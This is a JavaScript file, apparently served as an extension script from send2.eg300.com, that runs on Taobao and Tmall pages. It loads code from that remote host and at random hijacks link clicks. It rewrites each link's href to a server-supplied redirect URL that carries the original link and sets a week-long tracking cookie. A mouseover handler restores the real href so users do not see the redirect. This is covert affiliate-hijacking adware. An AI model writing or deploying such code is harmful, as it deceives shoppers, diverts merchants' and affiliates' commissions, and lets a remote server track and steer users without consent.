http://send2.eg300.com/js/extension.min.js

extension.min.js

(function () {
    if ("undefined" !== typeof Send2eg300) {
        return
    };
    window.Send2eg300 = Send2eg300 = {
        server: "http://send2.eg300.com/",
        jQuery: "js/jquery-1.8.3.min.js",
        params: {
            "isLinkConverted": false
        },
        keys: {
            "userLinkConvert": "userLinkConvert"
        },
        SITE_PATTERN: {
            "^(http|https)://www\.(taobao|tmall)\.com/": "tb",
            "^(http|https)://*/*": "other"
        },
        util: {
            A: function (a, b) {
                if (typeof b == "string") {
                    a.innerHTML = b
                } else {
                    a.appendChild(b)
                };
                return b
            },
            C: function (a) {
                return document.createElement(a)
            },
            T: function (a, b) {
                return document.getElementsByTagName(a)[b]
            },
            addScript: function (a, b, c) {
                var d = Send2eg300.util.T("head", 0);
                var e = Send2eg300.util.C("script");
                e.type = "text/javascript";
                e.charset = "utf-8";
                if (b) {
                    e.text = a
                } else {
                    var f = new Date();
                    e.src = a + "?t=" + f.getFullYear() + f.getMonth() + f.getDate();
                    e.onload = e.onreadystatechange = function () {
                        if (e.readyState && e.readyState != "loaded" && e.readyState != "complete") {
                            return
                        } else {
                            if (c) {
                                c()
                            };
                            e.onload = e.onreadystatechange = null
                        }
                    }
                };
                Send2eg300.util.A(d, e);
                if (b && c) {
                    c()
                }
            },
            addCss: function (a, b) {
                var c, d = Send2eg300.util.T("head", 0);
                if (b) {
                    c = Send2eg300.util.C("stlye");
                    c.type = "text/css";
                    c.text = a
                } else {
                    var e = new Date();
                    c = Send2eg300.util.C("link");
                    c.rel = "stylesheet";
                    c.href = a + "?t=" + e.getFullYear() + e.getMonth() + e.getDate()
                };
                Send2eg300.util.A(d, c)
            },
            loadJQuery: function (a, b, c) {
                if (typeof (jQuery) == "undefined") {
                    Send2eg300.util.addScript(Send2eg300.server + Send2eg300.jQuery, false, function () {
                        try {
                            jQuery.noConflict();
                            Send2eg300.$ = jQuery;
                            c(a, b)
                        } catch (e) {
                            Send2eg300.util.addScript(Send2eg300.server + Send2eg300.JQUERY, false, function () {
                                jQuery.noConflict();
                                Send2eg300.$ = jQuery;
                                c(a, b)
                            })
                        }
                    })
                } else {
                    Send2eg300.$ = jQuery;
                    c(a, b)
                }
            },
            getRandomNum: function (a, b) {
                var c = b - a;
                var d = Math.random();
                return (a + Math.round(d * c))
            },
            jsonp: function (a, b, c) {
                Send2eg300.$.ajax({
                    "url": Send2eg300.server + a,
                    "data": b,
                    "dataType": "jsonp",
                    "jsonp": "callback",
                    "async": false,
                    "success": function (d) {
                        if ("undefined" !== typeof c) {
                            c(d)
                        }
                    }
                })
            }
        },
        api: {
            setCookie: function (a, b, c, d) {
                var e = "api/cookie/";
                var f = {
                    "key": a,
                    "val": b,
                    "expire": c
                };
                Send2eg300.util.jsonp(e, f, d)
            },
            getCookie: function (a, b) {
                var c = "api/cookie/";
                var d = {
                    "key": a,
                    "op": "get"
                };
                Send2eg300.util.jsonp(c, d, b)
            },
            removeCookie: function (a, b) {
                expire = -1;
                Send2eg300.util.jsonp(a, null, expire, b)
            }
        },
        getUrlType: function (a) {
            for (var b in Send2eg300.SITE_PATTERN) {
                var c = a.match(new RegExp(b, "i"));
                if (c) {
                    var d = {
                        "site": Send2eg300.SITE_PATTERN[b],
                        "key": c[2] || []
                    };
                    return d
                }
            };
            return false
        },
        injectHtml: function (a, b) {
            switch (b.site) {
                case "tb":
                    Send2eg300.linkConvert();
                    break;
                default:
                    break
            }
        },
        linkConvertProbability: function () {
            var a = 31;
            var b = 10;
            var c = new Date().getMilliseconds();
            var d = c % a;
            var e = Send2eg300.util.getRandomNum(0, a - 1);
            d = Math.round(d / b);
            e = Math.round(e / b);
            if (d == e) {
                return true
            } else {
                return false
            }
        },
        linkConvertParams: function (a, b) {
            var c = "api/linkparam/";
            var d = {
                "key": a,
                "op": "get"
            };
            Send2eg300.util.jsonp(c, d, b)
        },
        linkConvert: function () {
            var a = Send2eg300.linkConvertProbability();
            if (a) {
                var b = Send2eg300.keys.userLinkConvert;
                Send2eg300.linkConvertParams(b, function (c) {
                    var d = c.result;
                    if ( !! d) {
                        var e = false;
                        if ( !! c[b]) {
                            Send2eg300.params.isLinkConverted = true
                        };
                        if (!Send2eg300.params.isLinkConverted) {
                            e = true
                        };
                        if (e) {
                            var f = c.redirectUrl;
                            Send2eg300.$("a").each(function () {
                                var g = Send2eg300.$(this);
                                var h = Send2eg300.$(this).attr("href");
                                var i = Send2eg300.$(this).attr("target");
                                g.click(function () {
                                    if (!Send2eg300.params.isLinkConverted && "undefined" !== typeof h && "" !== h && null !== h) {
                                        f += "?r=taobao&link=" + encodeURIComponent(h);
                                        Send2eg300.$(this).attr("href", f);
                                        var j = true;
                                        var k = 7 * 24 * 3600;
                                        Send2eg300.api.setCookie(b, j, k, function () {
                                            Send2eg300.params.isLinkConverted = true;
                                            Send2eg300.$(this).attr("href", h)
                                        })
                                    }
                                }).mouseover(function () {
                                    var j = Send2eg300.$(this).attr("href");
                                    if (f === j) {
                                        Send2eg300.$(this).attr("href", h)
                                    }
                                })
                            })
                        }
                    }
                })
            }
        },
        afterJQueryLoaded: function (a, b) {
            Send2eg300.injectHtml(a, b)
        },
        init: function (a) {
            a = a.toLowerCase();
            var b = Send2eg300.getUrlType(a);
            if (b && "other" !== b.site) {
                Send2eg300.util.loadJQuery(a, b, Send2eg300.afterJQueryLoaded)
            }
        }
    };
    Send2eg300.init(document.location.href)
})();